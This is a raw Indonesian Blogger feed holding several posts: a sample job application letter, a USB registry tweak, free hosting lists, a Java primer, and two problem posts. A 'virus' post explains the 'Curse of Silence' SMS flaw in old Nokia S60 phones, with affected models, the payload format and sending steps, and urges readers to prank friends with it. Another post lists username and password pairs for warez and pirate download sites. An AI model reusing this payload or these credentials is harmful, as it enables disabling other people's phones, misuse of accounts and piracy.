tanggal 27 Agustus 2007. Saya mengajukan diri untuk bergabung ke dalam Tim Marketing di PT. Gilland Ganesha.&lt;br /&gt;&lt;br /&gt;Data singkat saya, seperti berikut ini.&lt;br /&gt; Nama&lt;br /&gt;Tempat &amp; tgl. lahir&lt;br /&gt;Pendidikan Akhir&lt;br /&gt;&lt;br /&gt;Alamat&lt;br /&gt;Telepon, HP, e-mail&lt;br /&gt;&lt;br /&gt;Status Perkawinan : Benny Kasmanto&lt;br /&gt;: Bukit Tinggi, 19 Februari 1976&lt;br /&gt;: Sarjana Manajemen Universitas Islam As-Syafi’iyah (UIA) - Jakarta(Konsentrasi Manajemen Pemasaran)&lt;br /&gt;: Perum Bumi Sentosa Blok A.5 Bekasi&lt;br /&gt;: 021 - 87914990, 0815 965 5695, benny_kas07@yahoo.co.id&lt;br /&gt;: Menikah&lt;br /&gt;&lt;br /&gt;Saya memiliki kondisi kesehatan yang sangat baik, dan dapat berbahasa Inggris dengan baik secara lisan maupun tulisan. Latar belakang pendidikansaya sangat memuaskan serta memiliki kemampuan manajemen dan marketing yang baik. Saya telah terbiasa bekerja dengan menggunakan komputer. Terutama mengoperasikan aplikasi paket MS Office, seperti Excel, Word, Acces, PowerPoint, OutLook, juga internet, maupun surat-menyurat dalam Bahasa Inggris.&lt;br /&gt;&lt;br /&gt;Saat ini saya bekerja sebagai staff Marketing di PT. Hilmy Finance. Saya senang untuk belajar, dan dapat bekerja secara mandiri maupun dalam tim dengan baik.&lt;br /&gt;&lt;br /&gt;Sebagai bahan pertimbangan, saya lampirkan :&lt;br /&gt;&lt;br /&gt;   1. Daftar Riwayat Hidup.&lt;br /&gt;   2. Foto copy ijazah S-1 dan transkrip nilai.&lt;br /&gt;   3. Foto copy sertifikat kursus/pelatihan.&lt;br /&gt;   4. Pas foto terbaru.&lt;br /&gt;&lt;br /&gt;Saya berharap Bapak/Ibu bersedia meluangkan waktu untuk memberikan kesempatan wawancara, sehingga saya dapat menjelaskan secara lebih terperinci tentang potensi diri saya.&lt;br /&gt;&lt;br /&gt;Demikian surat lamaran ini, dan terima kasih atas perhatian Bapak/Ibu.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Hormat saya,&lt;br /&gt;&lt;br /&gt;Cece Watumas&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-1241867836259772592?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/1241867836259772592'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/1241867836259772592'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/02/contoh-surat-lamaran-kerja.html' title='contoh surat lamaran kerja'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-2665336287753337564</id><published>2010-01-25T16:11:00.004+07:00</published><updated>2010-02-20T05:03:34.238+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='komputer'/><title type='text'>komputer</title><content type='html'>erkadang saat kita mengakses perangkat USB seperti flash disk, hard disk eksternal, memory card, atau perangkat USB lainnya maka kita akan menemui peringatan yang menyatakan bahwa perangkat tersebut memiliki status write-protected sehingga kita tidak bisa melakukan segala proses seperti write, copy, delete, dll. Kita hanya bisa bisa membaca isi perangkat USB tersebut tanpa bisa menulisnya. Lalu bagaimana cara menghilangkan status write-protected tersebut ?&lt;br /&gt;&lt;br /&gt;Tetapi sebelum terlalu cepat mengambil keputusan, pastikan bagi pemilik memory card seperti MMC, SD, miniSD, microSD, dll sudah membuka kuncinya dengan cara menggeser kunci ke arah yang benar bila ada. Tetapi bila Anda menggunakan flash disk atau perangkat USB lainnya, silakan ikuti langkah-langkah berikut ini.&lt;br /&gt;&lt;br /&gt;1. Buka Start-&gt;Run atau tekan Win + R&lt;br /&gt;2. Ketik “regedit” (tanpa tanda kutip) kemudian enter&lt;br /&gt;3. Akses key berikut ini : HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies&lt;br /&gt;4. Anda akan menemui sebuah DWORD bernama WriteProtect. Klik ganda DWORD tersebut dan ubah value-nya dengan 0 (nol)&lt;br /&gt;5. Klik OK kemudian restart komputer&lt;br /&gt;&lt;br /&gt;Ada kemungkinan Anda tak akan menjumpai StorageDevicePolicies. Oleh karena itu, sebelumnya Anda harus menambahkannya terlebih dahulu dengan cara klik ganda file bat bernama add.bat dan key baru akan ditambahkan secara otomatis. Setelah itu ulangi lagi langkah 3 hingga selesai.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-2665336287753337564?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/2665336287753337564'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/2665336287753337564'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/01/komputer.html' title='komputer'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-1718696117336329766</id><published>2010-01-25T15:25:00.003+07:00</published><updated>2010-01-25T15:25:37.809+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='handphone'/><title type='text'>virus</title><content type='html'>nilah kelemahan [bugs] ponsel symbian jaman dulu .&lt;br /&gt;klo ga salah dulu tahun 2007-2008 lagi maraknya phreaking, sampai" orang bisa coba melakukan bombing sms , dengan memanfaatkan vendor bakrie , kenapa . karena bakrie cuma 1 perak /messege . jadi tinggal kamu connectin ponsel pake kabel dku yang support sama ponselmu. dan pake pc suit . lalu bombing si target terus menerus . lalu beranjak serangan VOIP , sampe ada orang yang niat bikin tools buat kacauin lalu lintas VOip . klo ga salah namanya tuh tools " Voip War" . dan pertengahan tahun pihak nokia kecolongan , sampe" terdapat bugs pada SMS nya . ada" aja . sms bisa sampe restart ponsel oranglain .&lt;br /&gt;&lt;br /&gt;ayoo kita coba kembangkan kelemahan dalam nokia ponsel N dan S series&lt;br /&gt;ternyata di selidik demi selidik ponsel nokia memiliki bugs dalam aplikasi messenger / sms&lt;br /&gt;ternyata dengan mengirimkan 1 buah pesan pada korban,&lt;br /&gt;dan ketika korban membuka pesan itu, maka handphone otomatis merestart sendiri&lt;br /&gt;heueheuehue :P&lt;br /&gt;lumayan klo masih bisa di coba. buat isengin temen yang sombong dengan ponselnya :D&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;catatan ponsel yang bisa terkena serangan ini&lt;br /&gt;&lt;br /&gt;====================================================&lt;br /&gt;S60 3rd Edition, Feature Pack 1 (S60 3.1) ( fixed )&lt;br /&gt;Nokia E90 Communicator ( Fixed )&lt;br /&gt;Nokia E71 ( fixed )&lt;br /&gt;Nokia E66 ( fixed )&lt;br /&gt;Nokia E51&lt;br /&gt;Nokia N95 8GB&lt;br /&gt;Nokia N95&lt;br /&gt;Nokia N82 ( fixed )&lt;br /&gt;Nokia N81 8GB&lt;br /&gt;Nokia N81&lt;br /&gt;Nokia N76&lt;br /&gt;Nokia 6290&lt;br /&gt;Nokia 6124 classic&lt;br /&gt;Nokia 6121 classic&lt;br /&gt;Nokia 6120 classic&lt;br /&gt;Nokia 6110 Navigator&lt;br /&gt;Nokia 5700 XpressMusic&lt;br /&gt;&lt;br /&gt;S60 3rd Edition, initial release (S60 3.0):&lt;br /&gt;Nokia E70 ( fixed )&lt;br /&gt;Nokia E65 ( fixed )&lt;br /&gt;Nokia E62&lt;br /&gt;Nokia E61i&lt;br /&gt;Nokia E61&lt;br /&gt;Nokia E60&lt;br /&gt;Nokia E50&lt;br /&gt;Nokia N93i&lt;br /&gt;Nokia N93&lt;br /&gt;Nokia N92&lt;br /&gt;Nokia N91 8GB&lt;br /&gt;Nokia N91&lt;br /&gt;Nokia N80&lt;br /&gt;Nokia N77&lt;br /&gt;Nokia N73&lt;br /&gt;Nokia N71&lt;br /&gt;Nokia 5500&lt;br /&gt;Nokia 3250&lt;br /&gt;&lt;br /&gt;S60 2nd Edition, Feature Pack 3 (S60 2.8):&lt;br /&gt;Nokia N90&lt;br /&gt;Nokia N72&lt;br /&gt;Nokia N70&lt;br /&gt;&lt;br /&gt;S60 2nd Edition, Feature Pack 2 (S60 2.6):&lt;br /&gt;Nokia 6682&lt;br /&gt;Nokia 6681&lt;br /&gt;Nokia 6680&lt;br /&gt;Nokia 6630&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;==============================&lt;br /&gt;&lt;br /&gt;persaratan untuk melakukan serangan&lt;br /&gt;&lt;br /&gt;==============================&lt;br /&gt;&lt;br /&gt;- MSISDN / no ponsel target&lt;br /&gt;- mobile phone contract dikirimkan ke SMS messages&lt;br /&gt;&lt;br /&gt;===============================&lt;br /&gt;&lt;br /&gt;dampak dari serangan&lt;br /&gt;&lt;br /&gt;===============================&lt;br /&gt;&lt;br /&gt;handphone korban tidak dapat menerima sms / mms pada siapapun&lt;br /&gt;handphone harus di reset kembali ke dalam pabrikan&lt;br /&gt;bilamana terjadi DDOS pada serangan ini , maka ponsel akan mati total&lt;br /&gt;&lt;br /&gt;===============================&lt;br /&gt;&lt;br /&gt;ringkasan serangan&lt;br /&gt;&lt;br /&gt;===============================&lt;br /&gt;Email dapat dikirim melalui SMS dengan mengatur pesan Protokol Identifier&lt;br /&gt;untuk "Internet Electronic Mail" dan memformat pesan seperti ini:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Jika pesan tersebut mengandung dengan lebih dari 32&lt;br /&gt;karakter, S60 2.6, 2.8, 3.0 dan 3,1 perangkat tidak dapat menerima&lt;br /&gt;lain pesan SMS atau MMS lagi. 2,6 dan 3,0 kunci perangkat setelah&lt;br /&gt;hanya satu pesan, 2,8 dan 3,1 perangkat setelah 11 pesan.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;dalam 3GPP TS 23,040 menentukan sebuah metode untuk mengirimkan email melalui SMS di&lt;br /&gt;Bagian 3.8 ( "SMS dan Internet Electronic Mail interworking"). Dalam&lt;br /&gt;bentuk yang paling dasar, seperti pesan SMS dimulai dengan dari-(MT-SMS) atau&lt;br /&gt;ke-email-address (MO-SMS), diikuti oleh karakter spasi, dan kemudian&lt;br /&gt;badan pesan. TP-Procotol-Identifier dari pesan SMS harus&lt;br /&gt;set ke "Internet Electronic Mail" (nilai: 50 / 0x32).&lt;br /&gt;&lt;br /&gt;Hal ini tidak ditentukan bagaimana pesan tersebut harus ditampilkan bila&lt;br /&gt;diterima oleh telepon. Sebelum S60 2.6, perangkat Series60 ditampilkan seperti&lt;br /&gt;pesan persis seperti mereka dikirim. Dimulai dengan S60 2.6, ketika&lt;br /&gt;bagian dari pesan yang harus berisi alamat dari tampak&lt;br /&gt;hal seperti alamat email (yakni berisi "@" di suatu tempat),&lt;br /&gt;alamat ini kemudian ditampilkan sebagai pengirim pesan daripada&lt;br /&gt;biasanya ditunjukkan TP-Originating-Address.&lt;br /&gt;&lt;br /&gt;Jika alamat email ini lebih panjang dari 32 karakter, Series60 2.6, 2.8,&lt;br /&gt;Perangkat 3,0 dan 3,1 gagal untuk menampilkan pesan atau memberikan indikasi&lt;br /&gt;pada antarmuka pengguna bahwa pesan telah diterima. Mereka lakukan,&lt;br /&gt;Namun, sinyal ke SMSC bahwa mereka menerima pesan dengan mengirimkan&lt;br /&gt;sebuah RP-ACK.&lt;br /&gt;&lt;br /&gt;Menjalankan perangkat S60 2,6 atau 3,0 tidak akan dapat menerima lain&lt;br /&gt;Pesan SMS setelah itu. Antarmuka pengguna tidak memberikan&lt;br /&gt;indikasi dari situasi ini. Satu-satunya tindakan untuk memperbaiki situasi ini&lt;br /&gt;tampaknya merupakan Factory Reset perangkat (dengan memasukkan "* # 7370 #").&lt;br /&gt;&lt;br /&gt;Menjalankan perangkat S60 2,8 atau 3,1 bereaksi sedikit berbeda: Mereka tidak&lt;br /&gt;lock up sampai mereka menerima setidaknya 11 SMS-pesan email dengan&lt;br /&gt;alamat email yang lebih panjang dari 32 karakter. Perangkat tidak&lt;br /&gt;dapat menerima pesan SMS lain setelah itu - setelah menerima&lt;br /&gt;pesan berikutnya, telepon hanya akan menampilkan peringatan bahwa terdapat&lt;br /&gt;tidak cukup memori untuk menerima pesan dan yang lebih jauh data harus&lt;br /&gt;dihapus terlebih dahulu. Pesan ini bahkan ditampilkan pada sebaliknya&lt;br /&gt;benar-benar "kosong" perangkat.&lt;br /&gt;&lt;br /&gt;Setelah mematikan telepon dan lagi, ia memiliki kemampuan terbatas&lt;br /&gt;untuk menerima pesan SMS lagi: Jika menerima pesan SMS yang&lt;br /&gt;dibagi menjadi beberapa bagian (3GPP TS 23,040, 9.2.3.24.1 Concatenated&lt;br /&gt;Short Messages) itu hanya dapat menerima bagian pertama dan akan&lt;br /&gt;menampilkan "tidak cukup memori" peringatan lagi. Setelah powercycling yang&lt;br /&gt;perangkat lagi, hal itu dapat menerima bagian kedua. Jika ada ketiga&lt;br /&gt;bagian, itu harus powercycled lagi, dan seterusnya.&lt;br /&gt;&lt;br /&gt;Juga, penyerang sekarang hanya perlu mengirim satu lagi "Curse Of Silence"&lt;br /&gt;pesan untuk mengunci telepon lagi. Dengan selalu mengirim satu lagi&lt;br /&gt;segera setelah laporan status pengiriman pesan sebelumnya&lt;br /&gt;diterima, penyerang dapat sepenuhnya mencegah target dari&lt;br /&gt;lain menerima SMS / MMS pesan.&lt;br /&gt;&lt;br /&gt;Hanya Pabrik Mengatur ulang perangkat akan mengembalikan pesan penuh&lt;br /&gt;menerima kemampuan. Perhatikan bahwa, jika cadangan dibuat menggunakan Nokia&lt;br /&gt;PC-Suite * setelah * diserang, pesan blocking juga&lt;br /&gt;backup dan akan dikirim ke perangkat lagi ketika memulihkan&lt;br /&gt;cadangan setelah Factory Reset.&lt;br /&gt;&lt;br /&gt;Perhatikan bahwa tidak dapat menerima pesan SMS juga berarti tidak&lt;br /&gt;dapat menerima pesan MMS, karena mereka memberi tanda dengan mengirimkan&lt;br /&gt;Pesan SMS ke perangkat.&lt;br /&gt;&lt;br /&gt;serangan pesan ini dihasilkan dengan telepon atau&lt;br /&gt;selular modem yang mendukung 3GPP TS 27,005 AT perintah dan dengan paling&lt;br /&gt;Ponsel Nokia juga langsung dari antarmuka pengguna. Sebagai contoh, pada&lt;br /&gt;Perangkat S60, ketika dalam editor pesan, jenis pesan dapat&lt;br /&gt;akan beralih ke "E-mail" di bawah "Options" -&gt; "Pilihan pengiriman" -&gt;&lt;br /&gt;"Pesan dikirim sebagai". 6310i nyaman yang menawarkan "Menulis email" menu&lt;br /&gt;entri pada menu pesan.&lt;br /&gt;&lt;br /&gt;Bentuk yang paling sederhana konten untuk Kutukan Dari Diam akan menjadi sesuatu&lt;br /&gt;seperti "123456789@123456789.1234567890123" (angka yang digunakan hanya untuk&lt;br /&gt;menggambarkan panjang "alamat email" dari lebih dari 32&lt;br /&gt;karakter). Perhatikan ruang pada akhir pesan!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;tapi pada awal tahun 2009 , pihak nokia telah meperbaiki kesalahan itu .&lt;br /&gt;selengkapnya bisa kalian baca disini&lt;br /&gt;&lt;br /&gt;http://www.informationweek.com/news/security/vulnerabilities/showArticle.jhtml?articleID=212903359&lt;br /&gt;&lt;br /&gt;wadoww.. tahun 2009 ? coba deh pada ponsel tahun 2009 kebawah . atau coba target ke tipe motoQ .&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;silahkan di explore sendiri&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-1718696117336329766?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/1718696117336329766'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/1718696117336329766'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/01/virus.html' title='virus'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-346100442596531385</id><published>2010-01-25T15:14:00.001+07:00</published><updated>2010-01-25T16:07:14.299+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hack'/><title type='text'>website gratisan ada UN dan PASS</title><content type='html'>Website beserta username dan Passwordnya untuk kalian&lt;br /&gt;&lt;br /&gt;Dibawah ini adalah situs web yang telah tersedia username dan passwordnya terutama untuk login ke halaman website yang telah menjadi member sebelumnya. Jadi Kita tidak perlu repot-repot untuk mendaftar atau registrasi terlebih dahulu bila hendak mau download atau memiliki file dari situs tersebut :&lt;br /&gt;&lt;br /&gt;h1) ttp://www.divxcrawler.com {download movies fastly}&lt;br /&gt;&lt;br /&gt;Username : divx273&lt;br /&gt;Password : 8342729&lt;br /&gt;&lt;br /&gt;2.) http://www.butterflydownloadnetwork.com {movies, music, Pc Games, Tv shows}&lt;br /&gt;&lt;br /&gt;Username : cinemanetwork20&lt;br /&gt;Password : butterfly20&lt;br /&gt;&lt;br /&gt;3.) http://www.downloadprofessional.com {movies,Pc softwares, Pc Games, Tv shows}&lt;br /&gt;&lt;br /&gt;Username : lo886Ees&lt;br /&gt;Password : zAgt88er&lt;br /&gt;&lt;br /&gt;4.) http://www.sharingzone.net {movies, Pc softwares, Pc Games}&lt;br /&gt;&lt;br /&gt;Username : LODMQYHX&lt;br /&gt;Password : 375021402&lt;br /&gt;Receipt : 4T5W89RD&lt;br /&gt;&lt;br /&gt;5.) http://www.unlimitedgamedownloads.com {movies, Pc Games, psp softwares}&lt;br /&gt;&lt;br /&gt;Username : ga20me&lt;br /&gt;Password : ke01feb&lt;br /&gt;&lt;br /&gt;6.) http://www.watchdirect.tv {movies, music, Pc Games, online Tv}&lt;br /&gt;&lt;br /&gt;Username : cinemanetwork20&lt;br /&gt;Password : butterfly20&lt;br /&gt;&lt;br /&gt;7.) http://www.fullreleasez.com {Greatly Every thing}&lt;br /&gt;&lt;br /&gt;Username : Af872HskL&lt;br /&gt;Password : XjsdH28N&lt;br /&gt;&lt;br /&gt;8.) http://www.fulldownloads.us {Greatly Every thing}&lt;br /&gt;&lt;br /&gt;Username : Af872HskL&lt;br /&gt;Password : XjsdH28N&lt;br /&gt;&lt;br /&gt;9.) http://www.pirateaccess.com {Every thing}&lt;br /&gt;&lt;br /&gt;Username : \n yourfrienddalat@gmail.comThis e-mail address is being protected from spam bots, you need JavaScript enabled to view it This e-mail address is being protected from spambots. You need JavaScript enabled to view it&lt;br /&gt;Password : CHh5LKPI&lt;br /&gt;&lt;br /&gt;Username : \n xxx_heel_xxx@yahoo.comThis e-mail address is being protected from spam bots, you need JavaScript enabled to view it This e-mail address is being protected from spambots. You need JavaScript enabled to view it&lt;br /&gt;Password : MJY0BUY&lt;br /&gt;&lt;br /&gt;Username : \n i_l0ve_u_786@yahoo.comThis e-mail address is being protected from spam bots, you need JavaScript enabled to view it This e-mail address is being protected from spambots. You need JavaScript enabled to view it&lt;br /&gt;Password : rYvLgPrt&lt;br /&gt;&lt;br /&gt;Username : \n mubashar_siddique@yahoo.comThis e-mail address is being protected from spam bots, you need JavaScript enabled to view it This e-mail address is being protected from spambots. You need JavaScript enabled to view it&lt;br /&gt;Password : F9Gzgwb5&lt;br /&gt;&lt;br /&gt;10.) http://www.warezquality.com {Every thing}&lt;br /&gt;&lt;br /&gt;Username : ageg2020&lt;br /&gt;Password : z8fsDfg3&lt;br /&gt;&lt;br /&gt;11.) wwww.warezreleases.com {All Stuff}&lt;br /&gt;&lt;br /&gt;Username : HnRPxKQz&lt;br /&gt;Password : a59KBV7&lt;br /&gt;&lt;br /&gt;Username : a25bipZP&lt;br /&gt;Password : 1TeVnoJb&lt;br /&gt;&lt;br /&gt;Username : SHYyJfWU&lt;br /&gt;Password : P4K20uO&lt;br /&gt;&lt;br /&gt;12.) http://www.fulldownloadaccess.com {All Stuff}&lt;br /&gt;&lt;br /&gt;Username : mpuv3y&lt;br /&gt;Password : umvpy3x&lt;br /&gt;&lt;br /&gt;13.) http://www.alphaload.com {All Stuff}&lt;br /&gt;&lt;br /&gt;Username : AL3429352&lt;br /&gt;Password : ykbcKTNS&lt;br /&gt;&lt;br /&gt;Username : AL3429355&lt;br /&gt;Password : RCHAbhKM&lt;br /&gt;&lt;br /&gt;Username : AL3429350&lt;br /&gt;Password : gMZNFcyS&lt;br /&gt;&lt;br /&gt;Username : AL3429351&lt;br /&gt;Password : cTAkWAxc&lt;br /&gt;&lt;br /&gt;Username : AL3429352&lt;br /&gt;Password : ykbcKTNS&lt;br /&gt;&lt;br /&gt;14) http://www.gamedownloadnow.com {All Stuff}&lt;br /&gt;&lt;br /&gt;Username : ga20me&lt;br /&gt;Password : ke01feb&lt;br /&gt;&lt;br /&gt;15.) http://www.unlimiteddownloadcenter.com {All Stuff}&lt;br /&gt;&lt;br /&gt;Username : cu20me&lt;br /&gt;Password : ke01feb&lt;br /&gt;&lt;br /&gt;16.) http://www.tvadvanced.com {online Tv}&lt;br /&gt;&lt;br /&gt;Username : mv03dl&lt;br /&gt;Password : frmvdl&lt;br /&gt;Semoga Bermanfaat&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-346100442596531385?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/346100442596531385'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/346100442596531385'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/01/website-gratisan-ada-un-dan-pass.html' title='website gratisan ada UN dan PASS'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-8423255389667824542</id><published>2010-01-25T15:11:00.000+07:00</published><updated>2010-01-25T15:11:40.658+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='webdesign'/><title type='text'>daftar housting gratis</title><content type='html'>ni daftar hosting yg gratis setahu saya&lt;br /&gt;1. 000webhost.com&lt;br /&gt;2. My-php.net&lt;br /&gt;3. Awardspace.com&lt;br /&gt;4. Ripway.com&lt;br /&gt;5. Suggestionsite.com&lt;br /&gt;6. Servermerdeka.com&lt;br /&gt;7. Orgfree.com&lt;br /&gt;8. Agigforfree.com&lt;br /&gt;9. 500hosting.com&lt;br /&gt;10. Community.web.id&lt;br /&gt;11. Phpnet.us&lt;br /&gt;12. Byethost.com&lt;br /&gt;13. Ifastnet.com&lt;br /&gt;14. Pages.google.com&lt;br /&gt;15. Kwikph.com&lt;br /&gt;16. 110mb.com&lt;br /&gt;17. 50web.com&lt;br /&gt;18. Bravenet.com&lt;br /&gt;19. Pandela.com&lt;br /&gt;20. Nofeehost.com&lt;br /&gt;21. Flexo.com&lt;br /&gt;22. Fh4m.com&lt;br /&gt;23. Fateback.com&lt;br /&gt;24. 1gig.com&lt;br /&gt;25. 100webspace.com&lt;br /&gt;26. Myplacehost.net&lt;br /&gt;27. 1111mb.com&lt;br /&gt;28. Freefastserver.com&lt;br /&gt;29. Awesomewebspace.com&lt;br /&gt;30. 500freehosting&lt;br /&gt;31. Tfcph.com&lt;br /&gt;32. Pro-php.com&lt;br /&gt;33. 225mb.com&lt;br /&gt;34. Your-host.info&lt;br /&gt;35. Net-fast.org&lt;br /&gt;36. 65gb.com&lt;br /&gt;37. Hostweb.org&lt;br /&gt;38. Bestfreewebspace.com&lt;br /&gt;39. 4000webs.com&lt;br /&gt;40. Itrello.com&lt;br /&gt;41. 20xhost.com&lt;br /&gt;42. Summerhost.info&lt;br /&gt;43. Kwikphp.net&lt;br /&gt;mungkin ada yg tidak geratis terutama hosting indonesia&lt;br /&gt;kepanjangan ya bos sorry&lt;br /&gt;semoga bermanfaat jika gak manfaat buang aja ke laut.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-8423255389667824542?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/8423255389667824542'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/8423255389667824542'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/01/daftar-housting-gratis.html' title='daftar housting gratis'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-2823925611450124610</id><published>2010-01-18T04:42:00.004+07:00</published><updated>2010-01-25T16:03:53.966+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='program'/><title type='text'>java</title><content type='html'>&lt;span class="fullpost"&gt;&lt;br /&gt;java adalah sebuah pemrograman yang bersifat OOP atau kata lainnya adalah, Object Oriented Programming,dimana didalamnya kita harus mememahami apa yang disebut dengan:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;encapsulation&lt;br /&gt;&lt;br /&gt;inheritance&lt;br /&gt;&lt;br /&gt;polymorphissm&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;untuk mengatahui ini silahkan cari di google yah, sebab saya akan menjelaskan garis besarnya dasar java, dan yang terpenting adalah memahami bahasa pemrograman lewad contoh script yang sudah ada.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ok pada kali ini saya akan langsung memberikan bentuk dasar dari bahasa java..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;dasar syntax dari java adalah seperti yang tertera dibawah ini:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;code dasar java:&lt;br /&gt;&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;public class hello&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;public static void main(String[] args)&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;nah seperti itu lah gamabaran global dari script java.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Selanjutnya kita bisa menambahkan atau memodifikasi script itu secara sederhana:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;code 1:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;public class hello&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;public static void main(String[] args)&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;System.out.println(“Hallo java NetBeans”);&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;output:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Hallo java NetBeans&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;perintah “System.out.println” digunakan untuk menampilkan data&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Setelaha kita bermain-main dengan script sederhana, sekarang kita akan melakukan basic dari java yang lainnya&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;sekarang saatnya kita mengetahui type-type variable yang terdapat di bahasa pemrograman java. Untuk pengertian dari definisi variable gue anggap loh udeh pada ngerti yah&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;dalam java ada beberapa variable:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;byte&lt;br /&gt;&lt;br /&gt;short&lt;br /&gt;&lt;br /&gt;int&lt;br /&gt;&lt;br /&gt;long&lt;br /&gt;&lt;br /&gt;float&lt;br /&gt;&lt;br /&gt;double&lt;br /&gt;&lt;br /&gt;char&lt;br /&gt;&lt;br /&gt;String&lt;br /&gt;&lt;br /&gt;boolean&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;untuk 